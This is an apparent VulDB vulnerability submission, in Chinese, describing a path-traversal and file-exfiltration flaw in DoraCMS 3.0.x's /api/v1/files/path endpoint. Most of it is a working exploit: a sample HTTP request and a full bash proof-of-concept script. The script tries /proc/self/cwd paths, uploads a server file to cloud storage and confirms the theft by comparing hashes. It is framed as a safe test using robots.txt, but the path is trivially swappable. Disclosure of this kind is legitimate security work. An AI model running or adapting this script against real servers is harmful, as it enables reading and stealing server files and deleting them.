Submit #768241: DoraCMS 3.0.x 文件读取并外传info

TitleDoraCMS 3.0.x 文件读取并外传
Description影响条件:上传配置为 `qn` 或 `oss` - 路由入口:`/api/v1/files/path` - [server/app/router/api/v1.js:98](/DoraCMS/server/app/router/api/v1.js:98) - 核心处理函数:`createFileByPath` - [server/app/controller/api/uploadFile.js:567](/DoraCMS/server/app/controller/api/uploadFile.js:567) - `localImgPath` 直接取自请求体并传入上传函数:[server/app/controller/api/uploadFile.js:574](/DoraCMS/server/app/controller/api/uploadFile.js:574)、[server/app/controller/api/uploadFile.js:590](/DoraCMS/server/app/controller/api/uploadFile.js:590)、[server/app/controller/api/uploadFile.js:596](/DoraCMS/server/app/controller/api/uploadFile.js:596) - 文件名字段依赖 `filename`(缺失会触发 500): - [server/app/controller/api/uploadFile.js:270](/DoraCMS/server/app/controller/api/uploadFile.js:270) - 鉴权中间件(登录态/API Key): - [server/app/middleware/authApiToken.js:11](/DoraCMS/server/app/middleware/authApiToken.js:11) - 危险副作用:上传成功后删除本地路径文件 - Qiniu: [server/app/controller/api/uploadFile.js:165](/DoraCMS/server/app/controller/api/uploadFile.js:165) - OSS: [server/app/controller/api/uploadFile.js:195](/DoraCMS/server/app/controller/api/uploadFile.js:195) ## 安全复现步骤 说明:为避免触碰敏感文件,复现使用 `robots.txt` 作为安全样本。 1. 使用 `catchimage` 在目标服务器创建一个可读文件(得到静态路径)。 2. 构造 `localImgPath=/proc/self/cwd/app/public/<上一步文件相对路径>` 调用 `/api/v1/files/path`。 3. 获取返回的 CDN URL,下载并与原始 `robots.txt` 做 SHA-256 比对。 示例请求(关键字段): ```http POST /api/v1/files/path HTTP/1.1 Host: demo.doracms.net Authorization: Bearer <user_token_with_userId> Content-Type: application/json { "imgPath": "/static/upload/images/20260226/1772086235211185180.png", "localImgPath": "/proc/self/cwd/app/public/upload/images/20260226/1772086235211185180.png", "filename": "safe-relay.txt" } ``` ## POC ```sh #!/usr/bin/env bash # DoraCMS /api/v1/files/path 安全验证脚本 # 目标: # 1) 先通过 catchimage 在目标服务器生成一个测试文件 # 2) 再将该测试文件作为 localImgPath 传给 files/path # 3) 验证是否可被上传到云存储并外链下载(读文件外传) # # 默认面向授权测试环境,避免直接读取/删除敏感文件。 set -euo pipefail HOST="${HOST:-https://demo.doracms.net}" TOKEN="${TOKEN:-}" SOURCE_URL="${SOURCE_URL:-${HOST%/}/robots.txt}" OUT_DIR="${OUT_DIR:-/tmp/doracms-files-path-safe}" if [[ -z "${TOKEN}" ]]; then echo "[ERROR] TOKEN 为空。" echo "用法示例:" echo " TOKEN='xxx' HOST='https://demo.doracms.net' ./scripts/test-files-path-safe.sh" exit 1 fi require_cmd() { local cmd="$1" if ! command -v "$cmd" >/dev/null 2>&1; then echo "[ERROR] 缺少依赖: $cmd" exit 1 fi } hash_file() { local file="$1" if command -v sha256sum >/dev/null 2>&1; then sha256sum "$file" | awk '{print $1}' else shasum -a 256 "$file" | awk '{print $1}' fi } is_http_url() { local u="$1" [[ "$u" =~ ^https?:// ]] } base64url_decode() { local input="$1" local padded="$input" local mod=$(( ${#padded} % 4 )) if [[ $mod -eq 2 ]]; then padded="${padded}==" elif [[ $mod -eq 3 ]]; then padded="${padded}=" elif [[ $mod -eq 1 ]]; then echo "" return 1 fi padded="${padded//-/+}" padded="${padded//_/\/}" if command -v base64 >/dev/null 2>&1; then if base64 --help >/dev/null 2>&1; then echo "$padded" | base64 --decode 2>/dev/null && return 0 fi echo "$padded" | base64 -D 2>/dev/null && return 0 fi return 1 } decode_jwt_payload() { local token="$1" local payload payload="$(echo "$token" | awk -F'.' '{print $2}')" if [[ -z "$payload" ]]; then return 1 fi base64url_decode "$payload" } detect_token_type() { local token="$1" local payload_json payload_json="$(decode_jwt_payload "$token" || true)" if [[ -z "$payload_json" ]]; then echo "unknown" return 0 fi if echo "$payload_json" | jq -e '.userId != null' >/dev/null 2>&1; then echo "user" return 0 fi if echo "$payload_json" | jq -e '.id != null' >/dev/null 2>&1; then echo "admin" return 0 fi echo "unknown" } require_cmd curl require_cmd jq if ! command -v sha256sum >/dev/null 2>&1 && ! command -v shasum >/dev/null 2>&1; then echo "[ERROR] 缺少哈希工具: sha256sum 或 shasum" exit 1 fi mkdir -p "$OUT_DIR" REPORT_FILE="$OUT_DIR/report.txt" ORIG_FILE="$OUT_DIR/original.bin" EXFIL_FILE="$OUT_DIR/exfil.bin" echo "[INFO] HOST: $HOST" echo "[INFO] SOURCE_URL: $SOURCE_URL" echo "[INFO] OUT_DIR: $OUT_DIR" TOKEN_TYPE="$(detect_token_type "$TOKEN")" echo "[INFO] TOKEN_TYPE: $TOKEN_TYPE" echo "[STEP 1] 校验 token 是否可用 (/api/v1/users/me)" ME_RESP="$(curl -sS -X GET "${HOST%/}/api/v1/users/me" \ -H "Authorization: Bearer $TOKEN" \ -H 'Accept: application/json')" if ! echo "$ME_RESP" | jq -e '.status == 200 or .success == true or .code == 200' >/dev/null 2>&1; then echo "[ERROR] token 校验失败,响应如下:" echo "$ME_RESP" | jq . if [[ "$TOKEN_TYPE" == "admin" ]]; then echo "[HINT] 当前 token 看起来是管理端 token(JWT payload 含 id)。" echo "[HINT] /api/v1/files/path 依赖前台用户登录态,请改用 payload 含 userId 的用户 token。" echo "[HINT] 可通过 /api/v1/auth/login 获取用户 token。" fi exit 1 fi echo "[OK] token 可用" echo "[STEP 2] 通过 catchimage 生成测试文件" CATCH_PAYLOAD="$(jq -cn --arg s "$SOURCE_URL" '{source:[$s]}')" CATCH_RESP="$(curl -sS -X POST "${HOST%/}/api/v1/upload/ueditor?action=catchimage" \ -H 'Content-Type: application/json' \ -H 'Accept: application/json' \ -d "$CATCH_PAYLOAD")" CATCH_STATE="$(echo "$CATCH_RESP" | jq -r '.list[0].state // empty')" CREATED_URL="$(echo "$CATCH_RESP" | jq -r '.list[0].url // empty')" if [[ "$CATCH_STATE" != "SUCCESS" || -z "$CREATED_URL" ]]; then echo "[ERROR] catchimage 生成测试文件失败,响应如下:" echo "$CATCH_RESP" | jq . exit 1 fi echo "[OK] 生成成功: $CREATED_URL" CREATED_PATH="$(echo "$CREATED_URL" | sed -E 's#^https?://[^/]+##')" if [[ -z "$CREATED_PATH" || "$CREATED_PATH" != /* ]]; then echo "[ERROR] 无法从 URL 提取路径: $CREATED_URL" exit 1 fi REL_PATH="$CREATED_PATH" if [[ "$REL_PATH" == /static/* ]]; then REL_PATH="${REL_PATH#/static}" fi echo "[STEP 3] 准备基准内容哈希" curl -sS -fL "$SOURCE_URL" -o "$ORIG_FILE" ORIG_HASH="$(hash_file "$ORIG_FILE")" echo "[OK] 原始哈希: $ORIG_HASH" echo "[STEP 4] 调用 /api/v1/files/path 进行安全验证" declare -a CANDIDATES=( "/proc/self/cwd/app/public${REL_PATH}" "/proc/self/cwd/server/app/public${REL_PATH}" "/proc/1/cwd/app/public${REL_PATH}" "/proc/1/cwd/server/app/public${REL_PATH}" "/app/server/app/public${REL_PATH}" "/app/app/public${REL_PATH}" "/app/public${REL_PATH}" ) EXFIL_URL="" SELECTED_PATH="" LAST_RESP="" for local_path in "${CANDIDATES[@]}"; do echo "[TRY] localImgPath=$local_path" FILES_PAYLOAD="$(jq -cn \ --arg img "$CREATED_PATH" \ --arg local "$local_path" \ --arg filename "safe-relay.txt" \ '{imgPath:$img, localImgPath:$local, filename:$filename}')" RESP="$(curl -sS -X POST "${HOST%/}/api/v1/files/path" \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'Accept: application/json' \ -d "$FILES_PAYLOAD")" LAST_RESP="$RESP" RET_PATH="$(echo "$RESP" | jq -r '.data.path // empty')" if [[ -z "$RET_PATH" ]]; then if echo "$RESP" | grep -q 'The "path" argument must be of type string. Received undefined'; then echo "[WARN] 服务端报 path undefined,常见原因是 filename 缺失或 body 未按预期解析。" fi fi if [[ -z "$RET_PATH" ]]; then continue fi if is_http_url "$RET_PATH"; then EXFIL_URL="$RET_PATH" SELECTED_PATH="$local_path" break fi if [[ "$RET_PATH" == /* ]]; then echo "[WARN] 返回本地路径($RET_PATH),目标可能是 local 存储模式。" fi done if [[ -z "$EXFIL_URL" ]]; then echo "[ERROR] 未拿到可下载外链,无法确认“文件外传”成功。" echo "[HINT] 可能原因:" echo " 1) 目标不是 qn/oss 模式(是 local 模式)" echo " 2) 目标部署路径与候选路径不一致" echo " 3) token 权限不足" echo "[DEBUG] 最后一次响应:" echo "$LAST_RESP" | jq . exit 2 fi echo "[OK] 拿到外链: $EXFIL_URL" echo "[STEP 5] 下载外链并比对哈希" curl -sS -fL "$EXFIL_URL" -o "$EXFIL_FILE" EXFIL_HASH="$(hash_file "$EXFIL_FILE")" echo "[OK] 外传哈希: $EXFIL_HASH" { echo "time=$(date -u +%Y-%m-%dT%H:%M:%SZ)" echo "host=$HOST" echo "source_url=$SOURCE_URL" echo "created_url=$CREATED_URL" echo "created_path=$CREATED_PATH" echo "selected_local_path=$SELECTED_PATH" echo "exfil_url=$EXFIL_URL" echo "orig_hash=$ORIG_HASH" echo "exfil_hash=$EXFIL_HASH" } >"$REPORT_FILE" if [[ "$ORIG_HASH" == "$EXFIL_HASH" ]]; then echo "[VULNERABLE] 复现成功:files/path 存在本地文件读取并外传风险。" echo "[REPORT] $REPORT_FILE" exit 0 fi echo "[WARN] 拿到外链但哈希不一致,可能发生内容转换或目标链路改写。" echo "[REPORT] $REPORT_FILE" exit 3 ```
Source⚠️ https://demo.doracms.net
User
 zsmaaa (UID 93294)
Submission02/26/2026 15:45 (1 month ago)
Moderation03/08/2026 08:32 (10 days later)
StatusAccepted
VulDB entry349762 [doramart DoraCMS 3.0.x v1.js createFileBypath path traversal]
Points17

Interested in the pricing of exploits?

See the underground prices here!